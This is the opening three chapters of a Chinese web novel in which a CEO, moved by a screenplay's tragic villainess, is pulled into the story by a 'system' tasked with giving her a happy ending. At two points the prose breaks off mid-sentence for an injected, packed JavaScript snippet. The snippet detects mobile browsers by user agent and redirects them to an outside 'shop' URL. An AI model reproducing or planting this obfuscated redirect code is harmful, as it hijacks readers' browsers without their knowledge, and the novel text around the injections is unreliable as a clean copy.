《系统让我救赎反派女配》 1. 第一章 “顾总！！顾总您好！您还记得我吗？” 藏青色藏青色迈巴赫的正前方，带着巨大黑框眼镜的女孩动作夸张地挥舞着双手。 她横冲直撞地拦在一群西装革履的精英面前，焦急地介绍自己：“我叫齐筱，您还记得吗？”怕男人早就忘了自己，齐筱提起关于自己的记忆点：“您之前夸过我剧本的，记得吗！” 被她叫做顾总的男人由精英们簇拥在最中心的位置，他穿着黑色高领毛衣，身形被版型极佳的呢大衣衬得尤为高大颀长，淡淡的神情中透露着一股疏离。 顾执还没开口，他身边的西装精英男就立刻上前，隔开了女孩和顾执之间的距离，冷漠而不客气地说：“这位小姐，我已经告诉过你很多次了，请不要在我们顾总的私人时间打扰顾总，如果你想见顾总，可以按正常流程预约见面。” 女孩有点委屈：“我不就是预约不到嘛……” 他们这些名不见经传的小人物，哪里能随随便便预约到和远顾集团CEO见面，就连他的这次私人行程，也是她费了九牛二虎之力才搞到的。 两相僵持下，顾执伸手拍了拍助理的肩。 助理立刻意会顾执的意思，朝他点点头，默默退远了些。 顾执微微笑了笑，看向齐筱，他笑起来的时候眼睛会微微弯起，那种疏离的感觉立刻被冲淡，英俊深邃的眉眼多了几分亲和，给人一种莫名的安心感。 比起顾执不讲情面的助理，他的语气要温和得多：“我记得你，齐小姐，三个月前我曾拜读过你的剧本《锦绣》，你是一个很有灵气的编剧。” 再次当面听到顾执的夸奖，齐筱的脸不由得红了红。 来找顾执前她早做好被人遗忘，需要厚脸皮夸自己的准备了，但她没想到，顾执这个日理万机的大总裁居然还记得她，甚至记地很精准，看起来意外的亲切。 也难怪顾执正式接管远顾集团不过三年，就稳坐一把手的位置，集团上下无一不服，他确实很有人格魅力。 齐筱明白，顾执既然跟她搭了话，就是给她机会，她必须把握住。 “感谢您还记得我，顾总，”齐筱把手里的剧本往前递了递，“不知道您有没有听过《错换》？这是影视部买了小说版权后重新修改调整，一个月后即将开拍的新剧。” 齐筱机关枪似的霹雳吧啦说：“这个小说原本是我写的，但我的上司将它重新修改后署上了自己的名字，其实剧本署名有没有我倒是其次，但是我必须要说，他改的就是一坨屎！” 因为女孩直接的话语，顾执勾唇笑了笑，他伸手接过齐筱递过来的小说和剧本，修长的手指随手翻阅着本子。 顾执的手骨节分明，手背上的青筋若隐若现，手指修长又有力量感，指甲圆润干净，翻页时的漂亮得像艺术品，简直可以去当手模。 齐筱眼馋地看了一会，才想起自己的正事。 “像您这么英明的领导，对比以后肯定肯定就知道差别了！”齐筱谄媚地捧高顾执，义正严辞道：“一个好的小说，出色的反派更能衬托主角的魅力，所以我的创作初衷是创造出一个有魅力、有个性的反派角色，我剧本里的反派女配是为了自己的利益而和女主成为对立方的，他竟然把女配的动机改成了因为喜欢男主，简直太俗套！况且现在的观众也早就不吃雌竞这一套了！” 顾执笑着点了点头，表示赞同她的说法。 影视部只是远顾旗下一个不大不小的板块，顾执作为集团的总裁，自然也不可能事事尽知，很多事情都是底下的人在管，就比如说影视剧的拍摄。 这个姑娘他确实有印象，影视部的新锐编剧，从网络小说作家转型成编剧，参与了远顾好几部爆剧的制作，是块璞玉，能够想办法了解他的行程，找到他面前来，也算有勇气有手段，将这件事告诉他，是对他的一种信任，既然如此，那他也不介意主持一次公道。 这对他来说只是举手之劳，但对这位姑娘来说，似乎很重要。 顾执收下了她的剧本，告诉她：“你的小说我会看，也会和修改后的剧本做对比，如果情况属实，我会告知影视部按照你的剧本进行拍摄，并为你署名。” 清汤大老爷！！ 就知道找顾总没错！！ 齐筱差点感动的眼泪汪汪，连鞠两个90度的躬，激动道：“谢谢顾总！顾总您真是英明神武！！我齐筱将誓死跟随您！！” 顾执哑然失笑，收好了手里的小说和剧本。 一旁的助理立刻打开车门，顾执转身坐上那辆藏青迈巴赫。 齐筱站在原地，用崇敬的目光目送顾执离开。 车门关上，顾执淡淡地敛起笑意，指尖轻轻敲击膝盖上的本子，神情逐渐变得有些冷：“查清楚是谁泄露我的行程，立即辞退。” 前排的助理立马点头恭敬道：“好的，顾总。” * 今天是周六，也是顾执每周固定去顾家老宅吃饭的日子，这会儿正赶上晚高峰，从市中心到老宅，至少要一个小时。 于是顾执翻开了那个女孩递来的小说，随意地翻看了起来。 直到助理在前座提醒他时，顾执才惊觉已经到了老宅。 一个多小时竟在不知不觉中过去了，齐筱写小说确实有些功力，情节精彩，竟然让他入了神。 顾执笑着摇了摇头，推开车门下去。 今天老宅人来的格外全，除了祖父祖母和父母外，一直满世界到处乱跑的姑姑也在。 顾执的姑姑性子活泼，和顾母极为合拍，两人正一起坐在客厅看电视，沙发上传来一阵又一阵的欢声笑语。 顾执走上前，和姑姑打招呼：“姑姑，好久不见。” “小执来啦？”顾意是祖父祖母的老来子，和顾执只差十岁，就同姐姐差不多。 因为老来得女的缘故，全家都将她视为掌上明珠，祖父祖母还有父亲连带着母亲，都非常宠爱她，宠得她性格跳脱，三十多岁了，还没个定性，只谈恋爱，不肯结婚，常年在全世界旅居，爱好是追星。 “你快过来看，”顾意兴奋地向顾执安利她的新爱豆，“这是我最近喜欢上的女演员，漂亮吧？演技好吧？虽然现在还没什么名气，但假以时日肯定能火遍大江南北！” 电视上正在放着一部职场题材电视剧，画面里的女孩低垂着眉眼，一边泡着咖啡，一边自嘲地笑道：“我就是个臭打工的。” 顾意像个变态一样大喊：“宝宝你才不是臭打工的！！你是香打工的！！” 顾执：“……” 虽然顾执对看电视剧没什么兴趣，但是如果他现在走掉，就会被姑姑声讨，惹了姑姑不高兴，就会被妈妈骂，被爸爸骂，被爷爷奶奶骂，进而成为全家的罪人。 所以，为了不引起众怒，顾执只好耐心地陪姑姑继续看。 只看了几分钟，他似乎就能感受到屏幕里那位年轻女演员的魅力。 她身上有一股很少见的韧劲和狠劲，尤其在年轻女演员中很少见，就连脸上也带着一股淡淡的锐气，没藏好的时候会隐约透出来。 她演一个平时中规中矩，不显山不露水，关键时刻可靠又雷厉风行雷厉风行的社畜，只是一个配角，但莫名地引人瞩目。 也难怪姑姑被她吸引。 察觉到顾执的专注，顾意笑着看他，颇为骄傲地说：“怎么样，我女儿漂亮吧？演技好吧？要不要考虑一下签她？感觉女儿现在的经纪公司烂的可怕。” 姑姑总是想一出是一出，于是顾执随口应道：“我会考虑。” 顾意不满他的回答：“一点都不霸道总裁！” 顾执无奈地笑着，配合地拿起手机，对着黑屏的手机严肃道：“十分钟内，我要这个女演员的全部信息。” 顾意看着顾执这副一本正经开玩笑的模样，被逗得哈哈大笑：“行啦，吃饭！别演霸道总裁了！” 难得的全家聚餐温馨愉快，顾执饭后陪家里人坐了一会，便又回到市中心的大平层，没有在老宅留宿。 他还有不少工作没完成。 自从顾执正式接手公司以后，爸妈就成了甩手掌柜，毫无心理负担的将大把的工作扔给他，潇洒地过着二人世界。 这导致他越来越忙碌，就连周末都很少有休息时间，被迫成为了一个工作狂，甚至还因为作息不规律患上了轻微的胃病，被姑姑嘲笑说得了霸总病。 等顾执处理完堆积的工作，时间已经到了晚上十一点。 小说还没有看完，想知道剧情的顾执罕见的有些心痒，所以即使时间已经不早了，他还是翻开本子继续看了起来。 《错换》讲的是因为一个护士的失误，两个家庭抱错女儿的故事，这两个家庭条件天差地别，一个富贵无边，一个勉强温饱，一个生活在京市的中心，一个则在京市邻省贫瘠的小镇。 两个女孩分别是故事的女主角和反派，故事的女主角是被误抱到豪门家庭的女孩，恶毒女配则是因为这个错误，生活在小镇里的女孩。 正如齐筱所说，这个故事的精彩之处就在于反派，齐筱为了合理化反派的报复，费了极大的笔墨讲诉反派因为这个错误而承受的一切，她凄惨的童年时期和隐忍的少年时期。 反派的养父在失业以后，变成了一个赌徒、酒鬼，甚至还有着严重的暴力倾向，整日里醉醺醺的，对老婆孩子非打即骂。 养母不堪忍受，在反派六岁时抛下她和养父离婚，远走高飞，从此再也没有过问反派，而养父就将剩下的所有怒火向反派发泄。 因为从小被虐待、打骂、无情抛弃，反派在这样的生活环境下逐渐变得冷漠，阴郁，暴戾，偏执。 再后来，反派的养父因为身负无法偿还的赌债选择跳楼自杀一了百了，他恰巧死在了放学回家的女孩面前，给了她一生难以忘怀的梦魇。 同一时刻，另一个富豪家庭的老人病重，家里为了给他配型查验了所有人的血型，这才发现了女儿并非亲生的秘密，经过一番调查，也找到了流落在外的亲生女儿。 女主角是个活泼开朗，善良大方的女孩，知道事情真相以后，她宽慰父母，表示会和素未谋面的姐姐好好相处，也会照顾好未曾谋面的姐姐。 可是反派被错换的十余年不是能够轻描淡写，一笔揭过的。在她承受了这么多年的痛苦后，却告诉她，这一切本不应由她承受，没有人可以忍受这种不公，尤其是在看到另一个人如此幸福、如此美满时。 即使错换这件事与无辜的女主角无关，可她的怨恨不能没有发泄的口子。 这种怨恨在父母和兄长无意间的差别对待和亲疏之别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578451|187211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中越长越大，女配变得越来越偏执，无法释怀的她恨上了林家所有人，走向黑化，她步步为营，一点点蚕食林氏，她想把一切都掌握在自己手中，并毁掉林家的一切。 这个反派人物，竟然是整部小说中最出彩的角色。 比起千篇一律真善美的女主角，她毫无同理心，就算面对血缘至亲也毫不手软，在发现亲情对她来说只是奢望后，便不求一丝真情，只求荣华富贵，一心攀登权势的巅峰。 在拥有权力后，她报复了所有让她痛苦的人，秉持着我不好过，谁也别想好过的处事原则，手段狠辣且干净利落，对乳腺十分友好。 长相美艳、身世凄惨，能力超群，这个反派是典型的美强惨式人物。 驱使她做出一切行为的原因，是为了报复，为了权利，为了快感，而不是因为某个男人。 她疯狂，偏执，强大，美丽，游走在灰色地带。 顾执的商业目光告诉他，这将会是一个极富魅力，极其出色的反派人物。 事实上也确实如此，这本小说在网络上有一定的热度，读者对反派女配的评价褒贬不一，喜欢她的人和讨厌她的人都很极端。 顾执翻出了这本小说发布的网站，打开评论区。 比起男女主角，讨论反派的评论竟然占大多数，评论区全是腥风血雨的骂战。 【喜欢反派！反派又美又强，根本虐杀男女主，对我的乳腺特别好！！最后失败简直像剧情杀，跪求大大写个反派成功的if线】 【喜欢反派的人是没三观吗？？反派就是个法外狂徒，最后失败是必然的好吗！林家人完全没有亏待她，女主宝宝也是被错换的受害者，她就因为自己不爽，要害得别人家破人亡，简直反社会人格！！】 【女主受害者？？受害在哪了我请问，被换到富豪家庭，这辈子吃过唯一的苦就是冰美式吧。。。。倒是反派替她受了十几年的苦，不疯才怪，再说真觉得愧疚的话，就应该回小镇去过女配的生活啊】 【所以呢？？导致她受苦的又不是林家人和女主，她回来的时候林家对她多好啊，女主也是真心拿她当姐姐的，她自己心理不平衡就要伤害别人？接受无能。。。。】 【其实反派人品很好啊不觉得吗，虽然做事很法外狂徒，但是每一个对她好的人她都记在心里，结局也是一力承担罪责，遗产全留给了好友，那段和高中老师告别的剧情真的看哭了……她从小就在很阴暗的环境长大啊，如果有人能好好引导她，给她一点温暖，也许结局就不是这样了吧……】 也许结局，就不是这样了…… 不知为什么，在脑海内幻想这个反派角色的形象时，顾执的脑海里竟然浮现出，姑姑喜欢的那个女星的脸。 那股韧劲和狠劲……实在太适合了。 或许，真的可以给她一个“假以时日火遍大江南北”的机会。 分针转了一圈又一圈，在顾执对比阅读小说和剧本的时候，时间不知不觉已经到了凌晨。 书桌前莹莹的暖光照在他清俊的侧脸，显得温和而沉稳。 终于读完了。 顾执摘下架着的金丝框眼镜，有些疲惫地捏了捏鼻梁。 故事的最后，是俗套又让人喜爱的大团圆结局。 反派被正义的主角们所打败，赶出了家门，落魄潦倒，而主角们幸福而美满地继续生活着。 回想自己的一生，反派觉得无比可笑，在最后的与主角的对峙中，她突然大笑，笑出了眼泪。 她的人生，先是被错换了整整十七年，然后又被来自这个错误的不甘心笼罩后十年，整整二十多年，她的人生都在为那个与她无关的错误买单，终身无法从那沼泽里挣脱。 多么可笑又可悲的一生。 最后，反派回到了她生活了十七年的那个小镇，毫不犹豫地从养父自杀的楼上跳下来，用这种方式结束了折磨她这一生的梦魇。 看完小说，顾执仰头靠在椅背上，感觉心里突然有一股郁结之气。 也许按照网上的那些话来说，他应该算是反派粉……？ 反派为了报复不择手段，做了很多错事，不惜伤害自己的亲人，可曾经在破旧逼仄的小房间，期望着将来有一天能出人头地的少女是她，努力学习从不懈怠的是她，被养父打得头破血流，幻想母亲某一天能从天而降接走自己的小女孩也是她。 如果…真的能有人给她一点温暖，或许结局真的会改变吧。 也许，她真的会拥有幸福的大结局。 顾执回过神来，哑然失笑。 怎么像个毛头小子一样，竟然在幻想让故事里的反派有幸福的结局。 他想起姑姑一口一个的“女儿”。 果然是被姑姑影响了吧…… 正如齐筱所说，剧本被修改后，反派完全失去了魅力，故事也少了很多精彩的内容。 顾执给影视部发去信息，让他们使用齐筱这一版的剧本，并为齐筱署名。 时间已经到了凌晨，影视部的工作人员没能回复。 顾执匆匆洗漱，躺在床上时，还是忍不住回想故事里的那个反派角色。 迷迷糊糊的，他竟然就在想着她的时候，深深睡了过去。 月光透过窗纱的缝隙，隐隐绰绰地落在他深邃的眉眼。 2. 第二章 “顾执……顾执哥哥？” 不知是梦境还是现实，隐隐约约的，顾执听到有人呼唤自己的声音。 “顾执，你有没有在听我说啊？”女孩的声音娇俏可爱。 她伸出手轻轻推了一下眼前高大帅气的男孩，“我听说姐姐之前一直住在小镇里，等她来了，就让她和我一个班怎么样？她肯定不适应这里的生活，这样我们可以多照顾照顾她！” 顾执皱眉揉了揉太阳穴，缓缓回神，集中起注意力。 家里怎么会有女孩的声音……是姑姑来了吗？ 顾执看清面前女孩陌生的脸，顿时眉头深皱。 女孩长了一双可爱的杏眼，疑惑地看向顾执，伸出一双小手在他面前晃了一下，“顾执，你在想什么呢？” 这不是他家，陌生的女孩，陌生的环境……究竟是怎么回事？ 正当顾执满心疑惑，思忖着该怎么应对时。 脑海里响起了机械的声音： 【欢迎来到剧本世界：《错换》】 顾执轻轻皱眉，看着面前娇小可爱的女孩，谨慎地并不答话，以不变应万变。 脑海里的机械音还在自顾自说着。 【宿主您好，我是系统0，您现在的身份是《错换》男主角，女主角林蔚然的未婚夫顾执。】 【请完成任务：反派林梓潇的幸福结局。完成所有任务后，您就可以回到现实世界，并获得十个亿的现金奖励。】 因为家里有一个喜欢追赶潮流的姑姑，顾执很快反应过来。 这是……系统？穿书？ 他来到了剧本内的世界？ 顾执有些头痛地捏了捏眉心。 十个亿的现金，对他来说不过是锦上添花，没有什么吸引力，但他的家人和事业都在现实世界中，他无法抛弃。 “顾执…你怎么了？”见男人一直不说话，林蔚然凑上前问道。 顾执下意识地后撤了两步，拉开与她的距离。 感受到他的疏远，林蔚然愣了愣，表情有些受伤。 但顾执实在没空理会她。 能够理解这一切，并不意味着他能够接受这一切，毕竟这些事实在是太荒唐了。 系统似乎感受到了他的难以置信，又说道：【当然，您也可以认为这是一场醒不来的梦，除非完成所有任务，换一句话来说就是……你没有选择。】 【至于您为什么会来到这里，或许是因为大家对改变林梓潇结局的意愿太过强烈，而您，经我们的判定，是所有想改变结局的人中，最适合的人选～】 系统似乎努力想让自己的音调听起来比较有亲和力，不过机械音过于生硬，让人有些发笑。 顾执无法否认，在阅读小说的时候，他确实有过想要改变结局的念头，只不过，因为这一念之差，就把他流放到这里，未免也太胡闹了一点。 可惜他目前也没有什么别的办法，只好被动接受，无奈地问道：【那怎样界定幸福？】 系统的回答十分模棱两可：【当女配林梓潇感觉到幸福时，系统会自动为您增加幸福值，当幸福值到达一百后，您就完成了任务。】 也就是说，关于幸福的界定极为主观，完全取决于林梓潇这个人物，他的任务成功与否，完全掌握在林梓潇手里。 顾执感到颇为头痛，这是他从未有过的经历。 顾家富过三代，家底深厚，人生的分水岭从羊水开始，顾执从出生的那一刻起就注定身居高位，因此，他也没有任何受人挟制的经验。 但现在，他的命运完全掌握在另一个人手里了。 【为了宿主能够快速融入剧情，系统已将您的身份和男主角融合，保持您在现实世界中的形象与姓名。】 【那么，祝您任务顺利。】 结束了对话，系统便隐匿在他的脑海中，不再出现。 “顾执哥哥……你有没有在听我说话呀？”顾执迟迟没有回应，林蔚然生气地鼓了鼓嘴，语气有些不满。 顾执略微理清了现在的状况，抬头看过去。 面前的女孩有一头过肩的的秀发，黑色的长发柔顺如锦缎，没有丝毫的毛躁与粗糙。 一个人的生活水准总是从一些细枝末节的地方透露出来，比如，为生活所困的人没有闲心和闲钱去打理自己的头发，而生活优越的人往往会精致到发梢。 女孩身上处处透露着被精心呵护的痕迹，她有着一双水盈盈的杏眸，里面透着天真和灵动。 所以…她就是书里的女主角，林蔚然。 和反派林梓潇对比，林蔚然就像是被幸运女神格外眷顾的孩子，她交换后的人生无比美好，生长在一个幸福有爱的家庭，养成一个纯真善良的女孩似乎也是理所当然的事情。 作为女主角，她善良、可爱、富有同理心，就像天使一样美好，和阴郁冷漠的反派形成了鲜明的对比。 顾执被迫接受了现在的处境，他摆出一个公式化的微笑，镇定地向林蔚然套话：“抱歉，我刚刚走神了，能再重复一遍吗？” “……我妈和我哥要去接姐姐了，等她来……算了。”女孩突然不说话了，低下头嘟着嘴，情绪都写在了脸上。 如果换做平时，顾执或许会礼貌性地安慰几句，可现在他自己都心乱如麻，于是即使察觉到了林蔚然的低落，仍选择对女孩的情绪视而不见。 “你是说，你母亲和哥哥要出发去接林梓潇了吗？”顾执再次确认道。 “……是啊。”林蔚然不明白他的意图，也不明白为什么从来对自己细心照顾的邻家哥哥，今天会对她格外冷漠。 林家和顾家是世交，两家儿女又恰好年纪相仿，于是父母便半开玩笑半当真地给两人定下了婚约，因着这一层关系，又从小青梅竹马长大，男主对林蔚然一向包容爱护。 可顾执不是男主角，他的任务对象也并不是林蔚然，处于混乱状态的他并不想对林蔚然投注多余的感情。 “那么我先失陪了。”顾执礼貌又有距离感地朝林蔚然点头示意，转身离开，靠着系统的提示走向林家别墅。 林蔚然看着他离开的背影，欲言又止。 * 顾执一路快步走到林家别墅，大门敞开着，一个年轻男孩正在门口换鞋，似乎是准备离开。 顾执立刻对男孩的身份有了猜测。 他应该就是林梓潇的双生哥哥，林景然。 看到顾执，林景然率先打了招呼：“顾执哥？你怎么过来了？” 顾执也不多寒暄，直截了当地问：“你和伯母是要去接林梓潇吗？” “是…是啊…”林景然有些摸不清顾执的意思，迟疑地回答道。 “怎么了小执？有什么事？”恰巧林母也收拾好了，走到玄关处，见顾执一脸正色，便询问道。 “伯母，抱歉唐突了，”顾执嘴上把话说得客气，但语气里隐隐带了点不容拒绝的意味，“我想和你们一起去接她。” 这个“她”，自然是指林梓潇。 林母和林景然，包括慢一步而来的林蔚然，都被他这番话惊讶得愣在了原地。 跟顾执一起长大的毕竟是林蔚然，虽然林蔚然不是林家的亲生女儿，但和顾执多年的青梅竹马情是真的，这个时候，他应该会陪着林蔚然，免得她心里不安才对。 怎么会提出要一起去接林梓潇？ 林母回过神来，心里也有自己的考量。 毕竟两家关系这么好，梓潇回家后也需要融入京城这里的社交圈，如果能和顾执先熟悉一下，也是好的。 于是她点了点头，示意顾执一起走：“行，小执，那你就跟我们一块儿去吧。” 顾执跟在林母身后，朝院子外停着的劳斯莱斯走去。 只有林景然还留在原地。 他注意到了林蔚然的情绪，轻轻拍了拍她的肩，柔声道：“不要怕，蔚然，你永远是我的妹妹，我们家的小公主。” “哥哥…”林蔚然眼睛里蓄起了泪水，她咬着嘴唇：“对不起……” “没什么对不起的，你没有做错什么，”林景然抱了抱她，安慰道，“别哭了。” 又轻声细语哄了几句，安抚好了妹妹，林景然才出门。 林蔚然在门口亲眼看着汽车驶离，咬紧了下唇。 其实她也提出过要和哥哥妈妈一起去接人，可是考虑到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578452|187211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的出现可能会让林梓潇难过，妈妈让她留在了家里。 林梓潇…… 林蔚然在心里默念她的名字。 她好像还没出现，就已经夺得了妈妈的宠爱。 * 豫西镇离京城不算太远，开车差不多两三个小时到。 不过即使毗邻京城，经济水平相差还是很悬殊，和生机蓬勃的京城相比，小镇的色调好像总是灰扑扑的。 林家早在找到林梓潇时，就将她的人生经历调查了个底朝天，也了解到了她这些年来所遭受的苦难，一时间心里都是愧疚和心疼，如果不是林父在国外出差实在走不开，原本是要全家一起出动的。 车上的三个人各有各的想法，气氛有点尴尬，一直到汽车停在镇二中的门口，几个人也没说几句话。 林家早早联系好了学校里的领导，车子刚停稳，站在校门口的地中海男人就立刻迎了上来。 “你们就是林梓潇同学的家人了吧？”地中海男人有点局促地看向气质非凡的三个人，选择了最年长的林母开始交谈，“你们好，我是学校的教导主任，我姓李。” 林母礼貌地朝他微笑了一下，“你好，李老师，我是梓潇的亲生母亲。” “是这样的，”李老师搓了搓手，“关于这件事的具体情况，由于我们不了解，也不合适说一些话，所以关于你们的到来，我们没有告诉梓潇。” 林母想见女儿的心胜过一切，她也不跟人多客套，抬脚就往学校里走：“不打紧，等见了面，我们可以面对面交流，李老师，麻烦你带我们去找梓潇吧。” 这天虽然是周六，但是学校在周末也对学生开放，学生们可以在教室自习，也可以在操场和体育馆玩耍运动，因此有很大一部分同学周末也会呆在学校，林梓潇也是其中之一。 不过相比于工作日，学校还是冷清许多，路上的学生们稀稀拉拉的。 “梓潇同学应该在球场那边，我带几位过去。”李老师见林母急切，也便加快了步伐。 他一边走，一边向林母介绍林梓潇的情况：“虽然我们这边教育水平比不上京城，但梓潇同学非常优秀，这点您可以放心，她常年考年段第一，还在国家级国家级竞赛里得过奖，我们老师都很替她骄傲。” “是吗？”林母不自觉地笑了笑，觉得与有荣焉。 看得出李老师是真的喜欢林梓潇这个学生，短短几步路，他差点把林梓潇夸上天：“……梓潇的家庭情况我们老师也都知道，平时也会多留心她，她真的是个……哎……” 李老师说着说着，有些哽咽，回头望了一眼一身贵族气质的三人，顿时觉得有些唏嘘。 小镇不大，谁家有点事，藏都藏不住。 林梓潇从小没了妈，爹又是个顶浑的，整日醉醺醺的，不打孩子就不错了，实在指望不上他什么。 以林梓潇的资质，如果不是因为被错换，她的人生本该是一片坦途。 好在现在总算熬出头了，以后就都是好日子了。 听到李老师的话，林母心里也闷闷的。 再怎么说，那也是她身上掉下来的肉，女儿吃了那么多年苦，她却什么都不知道，一想到这里，她就觉得心如刀绞。 几个人没聊几句，操场很快就到了，这里和学校其他区域比起来要热闹的多，球场上似乎有两队人在打比赛，旁边有一群学生围观，间或夹杂着欢呼声和起哄声，场面很是火热。 李老师往人群里一指，“那个就是林梓潇同学。” 林母努力辨认，看向一个在围观篮球赛的，身材纤细的黄卫衣女孩，“那个穿黄色衣服的女孩子？” “不是，是那边那个。”李老师摇摇头。 “粉卫衣的女生？”林母皱着眉观察人群中的女生，思考究竟哪个比较像她的女儿。 “不是，是那个在打篮球的女生，白体恤的那个。” 林母愣了愣。 她刚才下意识在围观学生里找人，可没想到，女儿却是打球的那一个。 这么一看，球场上确实有一个女孩子。 这回不会再认错了。 因为球场上有且仅有一个女孩子。 3. 第三章 “三分王！三分王！三分王！” 随着球被投进篮筐，人群中突然爆发出一阵激烈的欢呼声。 高中生正是中二的时候，羞耻的口号随口就来。 林梓潇没被同学们的起哄声影响，投完一个三分球，她用手撑着膝盖喘气，脸色有些严肃，眼睛紧盯着那个被人带着跑向篮板的球。 她今天状态不佳，还没过一个小节，就感觉体力消耗殆尽。 所以打完这场，林梓潇就准备走了。 陈让长了一张比小姑娘还精致的脸，但下手一点都不温柔，他是断球的一把好手，动作迅速且精准地抢断了高个手上的篮球，没有任何犹豫，转身就把球抛给了后方的林梓潇。 他们俩显然是配合了很多次，默契十足，一个眼神，一个肢体动作，就明白了对方的想法。 林梓潇精准地伸手接住了球，快速转身，带球跑向了三分线。 没等对手追上来，她在空中又是一个转身，手已经形成了肌肉记忆，熟练地把球一抛一送。 “吁——！” 球进筐的同时哨声也响了，很漂亮的一个压哨三分球。 场外的中二叫喊声顿时又响起来了，一阵比一阵强烈。 “三分王！三分王！三分王！” 林梓潇有些尴尬地扯了扯嘴角，抬手示意同学们不要叫了。 可她越是阻止，场外的欢呼声越是激烈。 林梓潇无奈地勾了勾唇，带起浅薄的笑意。 没办法，只好由他们去了，林梓潇揉了揉有些汗湿的头发，转身往场外走去。 和林蔚然相比，林梓潇的头发就没有这么精致了，不长不短，过了下巴，离肩还差一点，剪得并不精致，但意外的有层次感，打球时，她随手把头发半扎起来，显得格外清爽。 林梓潇鼻梁挺翘，便带出了一股英气和坚毅，连带着古典的丹凤眼也变得锋利起来，有种说不出的俊俏，但细说来，她眉眼还是秀丽的，带着女孩特有的娇美，眼睛亮亮的，顾盼神飞，睫如振翅，英气和娇美结合在一起，让她漂亮得非常有特点。 林母几乎是在看清她的第一眼就确定了这是她的女儿，这双和她一模一样的丹凤眼，还有这副和林景然七八分像的长相，她绝不会认错的！ 这是她的女儿！ 也许是因为神奇的血缘羁绊，见到林梓潇的一瞬间，林母心里就涌上一股热潮，恨不得马上冲上前去抱住她的女儿！ 林景然见母亲情绪激动，赶紧伸手拍拍她的肩安抚她，“妈，冷静点，别吓着她。” 林母这才平静下来，但目光舍不得移开，一眨不眨地追随着球场上的女孩。 同样惊讶的还有顾执，只是他十分谨慎地压抑住了自己的情绪。 林梓潇的脸……和她长得几乎一模一样。 那个姑姑喜欢的女明星。 就连身上那股劲儿，都如出一辙，仿佛两人就是同一人一般。 唯一有所出入的，是这个林梓潇的面孔显然更稚嫩一些，脸颊两边还带有一点未消的婴儿肥，削弱了整个人的凌厉感。 虽然穿书后顾执的年龄也变小了，但他心理认同的年龄还停留在现实世界的二十七岁，便不免用长辈的目光来看待林梓潇。 在他看来，林梓潇还是个带着稚嫩的孩子，虽然看起来不怎么爱笑，但也并不阴郁，带着一丝少年人独有的肆意潇洒，让他实在难以从她现在的样子窥得她最后绝望自杀的结局。 尤其在知道结局后，顾执心里不由得涌上一股不忍。 这样鲜活的生命，不该以血肉模糊作为结局。 不管林梓潇以后会变成什么样，现在的她不过是个十来岁的孩子，已经承受得够多了，实在不该再承担残酷的真相。 有那么一瞬间，顾执想带她离开。 永远也不知道身世的秘密，或许才是对她最好的保护。 那头的林梓潇并不知道自己即将面临什么，她随手接过一瓶身边女孩递过来的水，拧开就喝。 陈让走到她身边，熟稔地撞了撞她的肩，眼神瞥向球场边的李老师：“喂，你最近有什么要参加的竞赛吗？为什么老李一直用那种眼神看着你，好肉麻啊。” “没有，”林梓潇瞥了一眼球场边上的几人，淡淡回复道，“他可能父爱泛滥了吧。” “哎，你这种年级第一当然是他的亲女儿了，他对我就从来没好脸。”陈让耸了耸肩。 林梓潇面无表情地看过去，揶揄道：“你确定他不待见你是因为成绩？” “一天不损我你会死哦，”陈让倒也不恼，亲昵地搭上她的肩，“书店的新店面找好了，一起过去看看？” “好。”林梓潇点点头，似乎准备和他一起离开。 见两人要离开学校，李老师连忙跑上去叫住林梓潇：“梓潇！你来一下，我有事找你！” 陈让以为又是什么竞赛、考试的事，没脸没皮地讨价还价：“主任，有什么事不能周一说啊？都周末了，放过我们呗。” 李老师面对陈让，立刻换了一张面孔，无情地驱赶他：“滚滚滚，没你啥事，梓潇留下就行。” 陈让叹了口气，只好松开了揽着林梓潇的手：“行行行，我走我走。梓潇，一会校门口等你啊。” “好。”林梓潇点点头，跟在李老师身后离开。 林梓潇看起来在学校里也算是个风云人物，穿过球场人群时，有不少人和她搭话打招呼。 林梓潇表情不多，多是点头淡淡应过，但顾执能看出来，她是轻松的、愉悦的，和小说中阴鸷沉郁的样子完全不同。 小说围绕着林蔚然的视角展开，并没有描写林家人与林梓潇的初见。 所以，她并不是从一开始就冷漠偏执的，甚至多年来不美好的经历，也都没有让林梓潇变得厌世，她从没有自怨自艾，而是一直保持着优良的成绩，坚定地为自己的未来努力着。 可知道真相，回到林家后，她却被命运捉弄得翻不得身，一生都在不甘与渴望中沉浮，最终深陷泥潭，草草了结自己的一生。 顾执突然觉得有些说不出的不忍。 林梓潇跟着李老师穿过人群，走到球场外三人身边。 她看了三人一眼，并没有什么特别的反应。 难道是什么大学的提前招生办吗？林梓潇想，他们看起来不像小镇里的人。 不过…左边那个男孩跟我长得好像。 林母也在偷偷地打量林梓潇，不敢当众与她相认，只是尽量克制着自己的情绪，在林梓潇看不见的地方，目光紧紧追随着她，似乎要把十七年里缺少的全都补上。 几个人一路无言地走进了年段主任的办公室，李老师看了看沉默的四人，招呼道：“坐，先都坐，梓潇，你也坐。” 林梓潇没有坐下，她敏锐地感受到了气氛的微妙，沉默地扫视陌生的三人。 “……李老师，有什么事您直说。” 在李老师开口前，林母突然站起身，看向林梓潇。 